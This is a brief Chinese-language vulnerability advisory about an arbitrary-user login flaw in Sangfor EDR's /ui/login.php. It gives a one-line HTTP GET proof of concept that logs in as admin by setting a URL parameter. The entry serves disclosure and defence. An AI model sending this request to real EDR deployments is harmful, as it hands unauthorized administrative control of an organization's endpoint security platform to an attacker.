深信服 EDR /ui/login.php 任意用户登录漏洞

2021-03-11 深信服EDR PoC Public

Description

深信服 EDR，即终端检测响应平台，其低版本登录逻辑存在逻辑缺陷，导致可以任意用户登录后台管理界面。

PoC

GET /ui/login.php?user=admin HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Safari/605.1.15

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

Source: https://stack.chaitin.com/vuldb/detail/e4c3e5c1-bdf8-4eb9-ad87-2c91c5a683cd

Related Vulnerabilities